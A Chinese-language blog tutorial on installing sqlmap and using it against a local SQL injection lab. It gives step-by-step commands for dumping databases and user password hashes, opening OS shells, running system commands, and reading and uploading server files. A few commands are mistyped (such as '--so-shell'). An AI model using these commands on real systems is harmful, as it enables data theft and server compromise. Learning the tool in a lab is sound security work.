sqlmap安装与使用基础

 注意:本章使用的注入点是乱写的,主要以参数应用为主,可以采用自己的注入点

sqlmap需要用到python2和sqlmap

python是一个运行环境简称py,sqlmap是一个工具,sqlmap需用依靠python环境来运行起来.


1.pthony2去网盘找
2.sqlmap:sqlmap.org(官网下载)
3.下载后默认安装c盘
4.sqlmap解压后,把解压后的文件名改成sqlmap
5.裁剪文件夹粘贴到c盘的python目录下
6.在复制sqlmap的路径
7.此电脑-属性-高级设置-环境变量-path-编辑-新建-粘贴sqlmap的路径-确定-确定
8.在复制python的路径
9.此电脑-属性-高级设置-环境变量-path-编辑-新建-粘贴spthon的路径-确定-确定
10.测试是否安装成功-cmd---sqlmap.py回车

sqlmap使用基础

一.判断是否存在注入
1.假定目标注入点是http://127.0.0.1/sss/?id=1

执行  1 sqlmap.py -u 127.0.0.1/sss/?id=1 --batch  --batch =跳过选择
可以判断出用的什么数据库,服务器,系统,等版本

2.还有一种情况,当注入点后面的参数大于等于2的时候,需要加双引号
例如: 1 sqlmap.py -u ''127.0.0.1/sss/?id=1&uid2" 

3.判断问本中的请求是否存在注入
用burp开启代理抓爆,把抓到的post参数复制下来,粘贴到记事本里保存命名1.txt,在把记事本放到sqlmap文件夹里.
执行  1 sqlmap.py -r desktop/1.txt      

desktop桌面  

-r 路径

ps:这是将1.txt放到桌面下才会添加路径如果是sqlmap文件夹里就不用

执行  1 sqlmap.py -r 1.txt  
切记cmd也得切换到所在目录才能执行

执行  1 sqlmap.py -r C:/Python27/sqlmap/1.txt 
这是相对路径的使用办法

4.查询当前用户下的所有数据库
该命令是确定网站存在诸如后,用语查询用户的所有数据库,前提是要有权限读取.
执行  1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --dbs 

5.获取数据库中的表名
格式 sqlmap.py -u 127.0.0.1/Less-2/?id=2 -D 库名 --tables
执行  1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 -D security --tables    库名就是第四步所有数据库下的其中一个名
 
6.获取表中的字段名(列名)
该命令作用是查询完表名后,查询某一个表名中所有的列,
执行 sqlmap.py -u 127.0.0.1/Less-2/?id=2 -D 库名 -T 列名 --columns
执行  1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 -D security -T users --columns 

7.获取字段内容
改名了是查询完列名后,获取指定列中具体的字段数据
执行 sqlmap.py -u 127.0.0.1/Less-2/?id=2 -D 库名 -T 列名 -C 列名,列名,列名 --dump
执行  1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 -D 库名 -T 列名 -C id,passwore,username --dump 
基本这一步骤就可以找后台进行文件上传漏洞了

8.获取数据库中所有的用户
该命令的作用是列出数据库所有用户,如果有权限也可以管理用户
执行  1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --users 

9.获取数据库用户名的密码
该命令是列出数据库的用户的密码,当权限运行起来时候,sqlmap会先列举出用户名,然后列出HASH 并尝试破解运行
 1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --passwords     也可以加默认--batch

10.获取当前网站数据库的用户名称(网站用的是哪个数据库名)
该命令的作用是列出当前网站的使用的数据用户,
执行  1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --current-user      也可以加默认--batch

11.获取当前网站是哪个的数据库

 1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --current-db 

sqlmap使用进阶

1.--level 5   探测等级
--level 5指的是一共探测有5个等级(1-5),可以不用加level  ,默认等级是1.
执行 1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --level 2 
sqlmap使用的payload可以在文件路径xml/payloads.xml中看到,也可以按照格式自动添加payload.
其中5级包含的payload最多,自动破解cookie,xff等头部注入,5级运行的也慢.
这个注入参数会影响的注入点,get和post的数据都会测试,
http cookoe在为2的时候就会测试,
hettp user-agent/referer头在leve为3的时候就会测试.在不确定哪个漏洞或者注入点时可以提高level值

2.--is-dba:查看当前用户账户是否为数据库管理权限
执行  1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --is-dba   是管理员权限会返回True

3.--roles:列出数据库管理员的角色
当用户有权限读取包含所以用户的表,输入该命令会列举出每一个用户的角色,也可以用,-U参数指定想看哪个用户的角色
执行  1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --roles 

4.--referer:http referer投
sqlmap可以在请求中伪造http中的referer,当level参数设定为3或者3以上时,会尝试对referer头注入.
可以使用referer命令来欺骗,如:--referer http://www.baidu.com
 1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --referer http://www.baidu.com 
意思就是你用百度的链接进入了你要注入的网站

5.--sql-shell:运行自定义sql语句
也就是在sqlmap里运行一个sql语句 里面可以执行 select*from users limit 0,1语句
执行  1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --sql-shell 

进如成功后
 1 select*from users;  他会告诉你users这个表里的所有内容
 1 slesct version();     他会告诉你数据库版本

6.--os-cmd,   --os-shell:运行任意操作系统命令
执行  1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --so-shell 
特别注意:使用这两个命令必须具备的条件
    1.数据库用户必须是adb超级权限
    2. 知道网站的绝对路径
    3.php当中gpc为off,php自动转义为关闭转态
    4.就算具备以上三个条件,因为涉及到系统命令,也未必可以执行成功
执行  1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --so-cmd=ipconfig 


7.--file-read:从服务器中读取文件
该命令用语读取执行文件
 1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --file-read "C:/1.txt" 

8.--file-write,   --file-dest:上传文件到数据库服务器中

1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --file-write"上传文件路径(相对路径)"--file-dest网站路径(写入路径)+"/写入的文件名"
原文地址:https://www.cnblogs.com/fanghan/p/13064454.html